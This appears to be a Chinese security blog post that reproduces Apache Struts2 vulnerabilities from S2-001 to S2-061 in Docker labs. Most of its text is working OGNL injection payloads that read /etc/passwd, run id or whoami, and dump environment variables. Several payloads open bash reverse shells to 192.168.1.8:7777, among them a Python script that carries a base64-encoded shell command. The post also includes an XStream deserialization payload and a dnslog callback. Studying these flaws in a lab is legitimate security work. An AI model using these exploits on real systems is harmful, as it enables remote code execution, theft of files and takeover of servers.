<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨|最全的Struts2漏洞復現

    VSole2021-08-24 09:23:21

    簡介

    Struts2是一個基于MVC設計模式的Web應用框架,它本質上相當于一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合并的全新的Struts 2框架。其全新的Struts 2的體系結構與Struts 1的體系結構差別巨大。Struts 2以WebWork為核心,采用攔截器的機制來處理用戶的請求,這樣的設計也使得業務邏輯控制器能夠與ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產品。雖然從Struts 1到Struts 2有著非常大的變化,但是相對于WebWork,Struts 2的變化很小。

    S2-001

    該漏洞因為用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以直接構造 Payload 進行命令執行

    進入s2-001的docker漏洞環境

    首先使用%{'test'}進行測試漏洞是否存在

    返回了test,證明存在漏洞

    使用payload進行測試,返回了tomcatBinDir{/usr/local/tomcat}

    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

    使用payload執行whoami

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    使用payload執行cat /etc/password命令

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    S2-005

    s2-005漏洞的起源源于S2-003(受影響版本: 低于Struts 2.0.12),struts2會將http的每個參數名解析為OGNL語句執行(可理解為java代碼)。OGNL表達式通過#來訪問struts的對象,struts框架通過過濾#字符防止安全問題,然而通過unicode編碼(\u0023)或8進制(\43)即繞過了安全限制,對于S2-003漏洞,官方通過增加安全配置(禁止靜態方法調用和類方法執行等)來修補,但是安全配置被繞過再次導致了漏洞,攻擊者可以利用OGNL表達式將這2個選項打開,S2-003的修補方案把自己上了一個鎖,但是把鎖鑰匙給插在了鎖頭上。XWork會將GET參數的鍵和值利用OGNL表達式解析成Java語句,如:

    user.address.city=Bishkek&user['favoriteDrink']=kumys 
    //會被轉化成
    action.getUser().getAddress().setCity("Bishkek")  
    action.getUser().setFavoriteDrink("kumys")
    

    觸發漏洞就是利用了這個點,再配合OGNL的沙盒繞過方法,組成了S2-003。官方對003的修復方法是增加了安全模式(沙盒),S2-005在OGNL表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:

    S2-003 使用\u0023繞過s2對#的防御 S2-003 后官方增加了安全模式(沙盒) S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼

    影響版本: 2.0.0 - 2.1.8.1

    進入s2-005的docker環境

    抓包添加payload執行往/tmp/目錄下寫入success文件的操作

    (%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
    

    進入docker容器查看,在tmp目錄下已經創建了success文件

    S2-007

    在s2-007頁面的文本框中,age來自于用戶輸入,傳遞一個非整數給id導致錯誤,struts會將用戶的輸入當作ongl表達式執行,從而導致了漏洞

    進入s2-007的docker漏洞環境

    執行payload列出當前目錄下的所有文件

    %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
    

    添加payload執行whoami

    %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27
    

    也可以直接在age文本框處使用payload

    ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExe cution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '
    

    即可得到id

    S2-008

    s2-008漏洞產生的原因,主要是利用對傳入參數沒有嚴格限制,導致多個地方可以執行惡意代碼,傳入?debug=command&expression=即可執行OGNL表達式

    進入s2-008的docker環境

    在GET包處添加payload執行whoami

    devmode.action?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami
    

    S2-009

    Struts2對S2-003的修復方法是禁止#號,于是s2-005通過使用編碼\u0023或\43來繞過;后來Struts2對S2-005的修復方法是禁止\等特殊符號,使用戶不能提交反斜線。

    但是,如果當前action中接受了某個參數example,這個參數將進入OGNL的上下文。所以,我們可以將OGNL表達式放在example參數中,然后使用/helloword.acton?example=&(example)('xxx')=1的方法來執行它,從而繞過官方對#、\等特殊字符的防御。

    影響版本Struts 2.1.0-2.3.1.1

    進入S2-009的docker環境

    訪問192.168.1.8:8080/ajax/example5,此為存在漏洞的界面

    將payload拼接讀取passwd文件

    http://192.168.1.8:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
    

    S2-012

    如果在配置 Action 中 Result 時使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,例如:

     name="S2-012" extends="struts-default">
         name="user" class="com.demo.action.UserAction">
             name="redirect" type="redirect">/index.jsp?name=${
        name}result>
             name="input">/index.jsp
             name="success">/index.jsp
        
    
    

    這里 UserAction 中定義有一個 name 變量,當觸發 redirect 類型返回時,Struts2 獲取使用 ${name} 獲取其值,在這個過程中會對 name 參數的值執行 OGNL 表達式解析,從而可以插入任意 OGNL 表達式導致命令執行

    進入s2-012的docker環境

    直接在文本框內執行payload讀取passwd

    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

    點擊提交即可讀取到passwd

    S2-013

    Struts2 標簽中 和 都包含一個 includeParams 屬性,其值可設置為 none,get 或 all,參考官方其對應意義如下:none - 鏈接不包含請求的任意參數值(默認) get - 鏈接只包含 GET 請求中的參數和其值 all - 鏈接包含 GET 和 POST 所有參數和其值 用來顯示一個超鏈接,當includeParams=all的時候,會將本次請求的GET和POST參數都放在URL的GET參數上。在放置參數的過程中會將參數進行OGNL渲染,造成任意命令執行漏洞。

    進入s2-013的docker環境

    這里直接構造鏈接并進行url編碼:

    ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
    // 或
    ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}
    

    認準exec執行系統命令即可,flag在環境變量里面,構造:

    http://192.168.1.8:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
    

    S2-015

    s2-015漏洞遠程攻擊者可借助帶有‘${}’和‘%{}’序列值(可導致判斷OGNL代碼兩次)的請求,利用該漏洞執行任意OGNL代碼

    進入s2-015的docker環境

    首先構造{1+1}得到payload

    http://192.168.1.8:8080/${1+1}.action
    

    執行后自動編碼得到如下,在message處會回顯

    http://192.168.1.8:8080/$%7B1+1%7D.action
    

    構造payload顯示id

    http://192.168.1.8:8080/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e
    

    這里在message處得到id需要進行url解碼

    S2-016

    在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導航或是重定向前綴,但是這些前綴后面同時可以跟OGNL表達式,由于struts2沒有對這些前綴做過濾,導致利用OGNL表達式調用java靜態方法執行任意系統命令

    進入s2-016的docker環境

    構造payload執行,可以發現執行過后網址后面出現了id

    http://192.168.1.8:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D
    

    S2-032

    當啟用動態方法調用時,可以傳遞可用于在服務器端執行任意代碼的惡意表達式。method: Action 前綴去調用聲明為 public 的函數,只不過在低版本中 Strtus2 不會對 name 方法值做 OGNL 計算,而在高版本中會。.

    進入s2-032的docker環境

    構造payload返回1001060253718則代表可代碼執行

    http://192.168.1.8:8080/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010
    

    構造payload輸出id

    http://192.168.1.8:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
    

    S2-045

    Apache Struts 2被曝存在遠程命令執行漏洞,漏洞編號S2-045,CVE編號CVE-2017-5638,在使用基于Jakarta插件的文件上傳功能時,有可能存在遠程命令執行,導致系統被黑客入侵。惡意用戶可在上傳文件時通過修改HTTP請求頭中的Content-Type值來觸發該漏洞,進而執行系統命令。

    影響范圍

    Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

    進入s2-045的docker環境

    構造payload任意命令執行

    Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    

    對于payload的一些解釋

    來獲取上下文容器

    #container=#context['com.opensymphony.xwork2.ActionContext.container'] 
    

    通過容器實例化,對Ognl API的通用訪問,設置和獲取屬性 

    #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class 
    

    判斷目標主機的操作系統類型,并進行執行命令賦值 

    #iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd }) 
    

     執行攻擊命令

    #p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
    

    S2-046

    s2-046漏洞的利用有點特殊,需要滿足以下幾個條件:

    1、系統必須使用 Jakarta 插件,檢查 Struts2 配置文件中是否有以下配置:

    2、上傳文件的大小(由 Content-LSength 頭指定)大于 Struts2 允許的最大大小(2GB)

    3、文件名內容構造惡意的 OGNL 內容。

    如果滿足以上要求,Struts2 受影響版本將創建一個包含攻擊者控制的異常文件名,使用 OGNL 值堆棧來定位錯誤消息,OGNL 值堆棧將插入任何 OGNL 變量($ {}或%{})作為 OGNL 表達式,然后實現任意代碼執行。

    與045相同,046也是OGNL注入,但出現在上傳請求的文件名字段中,并且需要NUL字節來拆分有效負載和其余字符串。

    進入s2-046的docker環境

    點擊submit進行抓包,可以看到這里的filename正常情況下是為空的

    構造payload執行1+99

    %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b
    

    這里需要進行00截斷,進入hex將30改為00

    然后發包,可以看到X-Test這個地方已經執行了1+99并輸出了結果

    那么這里就可以構造一個poc進行bash反彈,還是要進行00階段,nc監聽端口,發包即可得到反彈shell

    "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.1.8/7777 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
    

    S2-048

    這個漏洞主要問題出在struts2-struts1-plugin這個插件包上。這個庫的主要作用就是將struts1的action封裝成struts2的action以便它能在strut2上運行使用。

    而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函數可以調用 getText() 函數,這個函數剛好又能執行OGNL表達式,同事這個 getText() 的 參數輸入點,又可以被用戶直接進行控制,用戶可控的值添加到 ActionMessage 并在客戶前端展示,導致其進入 getText 函數,最后 message 被當作 ognl 表達式執行如果這個點被惡意攻擊者所控制,就可以構造惡意執行代碼,從而實現一個RCE攻擊。

    進入s2-048的docker環境

    進入http://192.168.1.8:8080/integration/saveGangster.action漏洞頁面,嘗試運算1+1

    可以看到這里得到了運算結果,說明存在漏洞

    那么這里構造一個payload用來輸出id

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
    

    構造payload輸出whoami

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())).(#q)}
    

    S2-052

    s2-052產生漏洞的原因是REST插件使用到XStreamHandler處理xml數據,由于未對xml數據做任何過濾,在進行發序列xml數據轉換為Object時導致RCE

    進入s2-052的docker環境

    進入頁面后隨便點擊一個成員進行編輯并點擊submit進行抓包

    這里可以看到Content-Type為application/x-www-form-urlencoded

    構造一個xml文件

     0  class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">   class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">  class="javax.crypto.CipherInputStream">  class="javax.crypto.NullCipher"> false 0  class="javax.imageio.spi.FilterIterator">  class="javax.imageio.spi.FilterIterator">  class="java.util.Collections$EmptyIterator"/>  class="java.lang.ProcessBuilder">  calc.exe  false    class="javax.imageio.ImageIO$ContainsFilter">  java.lang.ProcessBuilder start   foo   class="string">foo     class="java.lang.ProcessBuilder$NullInputStream"/>  false 0 0 false  false    0    reference="../jdk.nashorn.internal.objects.NativeString"/>    reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>  reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    
    
    

    首先將Content-Type改為application/xml,然后將xml文件插入,發包返回500證明已經成功

    進入tmp目錄查看success文件已經創建成功

    S2-053

    s2-053漏洞產生的原因是Struts2在使用Freemarker模板引擎的時候,同時允許解析OGNL表達式。導致用戶輸入的數據本身不會被OGNL解析,但由于被Freemarker解析一次后變成離開一個表達式,被OGNL解析第二次,導致任意命令執行漏洞。

    進入s2-053的docker環境

    首先執行%{33-1}并提交,可以看到在Your url的地方運算出了結果,說明存在漏洞

    構造payload輸出id并提交

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    

    執行bash反彈命令,用nc監聽端口即可得到反彈shell

    %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.1.8/7777 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
    

    S2-057

    s2-057漏洞產生于網站配置XML時如果沒有設置namespace的值,并且上層動作配置中并沒有設置或使用通配符namespace時,可能會導致遠程代碼執行漏洞的發生。同樣也可能因為url標簽沒有設置value和action的值,并且上層動作并沒有設置或使用通配符namespace,從而導致遠程代碼執行漏洞的發生。

    alwaysSelectFullNamespace被設置為true,此時namespace的值是從URL中獲取的。URL是可控的,所以namespace也是可控的action元素沒有名稱空間屬性集,或者使用通配符。該名稱空間將由用戶從URL傳遞并解析為OGNL表達式,最終導致遠程代碼執行的脆弱性。

    進入s2-057的docker環境

    首先構造12+34回車

    發現運算出了結果,說明存在漏洞

    構造payload輸出id

    ${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
    

    進行url編碼

    得到如下payload

    %24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D
    

    bp抓包在GET處進行拼接得到id

    GET /struts2-showcase/%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
    

    在exec處修改要執行得命令即可

    S2-059

    s2-059產生的原因為攻擊者可以通過構造惡意的OGNL表達式,并將其設置到可被外部輸入進行修改,且會執行OGNL表達式的Struts2標簽的屬性值,引發OGNL表達式解析,最終造成遠程代碼執行的影響。

    進入s2-059的docker環境

    訪問8080看到有一個input:id

    傳參id=2進入發現出現在了input id:這個地方

    這里構造id=%25{10*10},發現自動進行了運算

    使用bash反彈,先進行編碼

    bash -i >& /dev/tcp/192.168.1.8/7777 0>&1
    

    編碼后結果如下

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
    

    生成一個test.py,將bash編碼放入py

    import requests
    url = "http://127.0.0.1:8080"
    data1 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
    }
    data2 = {
    "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'))}"
    }
    res1 = requests.post(url, data=data1)
    res2 = requests.post(url, data=data2)
    

    執行即可得到反彈shell

    S2-061

    s2-061漏洞產生的原因是Struts2 會對某些標簽屬性(比如 id,其他屬性有待尋找) 的屬性值進行二次表達式解析,因此當這些標簽屬性中使用了 %{x} 且 x 的值用戶可控時,用戶再傳入一個 %{payload} 即可造成OGNL表達式執行。S2-061是對S2-059沙盒進行的繞過

    進入s2-061的docker環境

    還是構造一個%25{10*10}發現運算成功,證明漏洞存在

    bp在index.action頁面抓包

    修改Content-Type如下并添加數據,這里如果直接使用GET方法是得不到回顯的

    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    

    改為POST方法即可得到id

    配合dnslog食用同理

    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
    Content-Disposition: form-data; name="id"
    %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ping 9vll55.dnslog.cn")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
    ------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
    

    bash反彈命令需要先進行編碼,同之前操作

    bash -i >& /dev/tcp/192.168.1.8/7777 0>&1
    

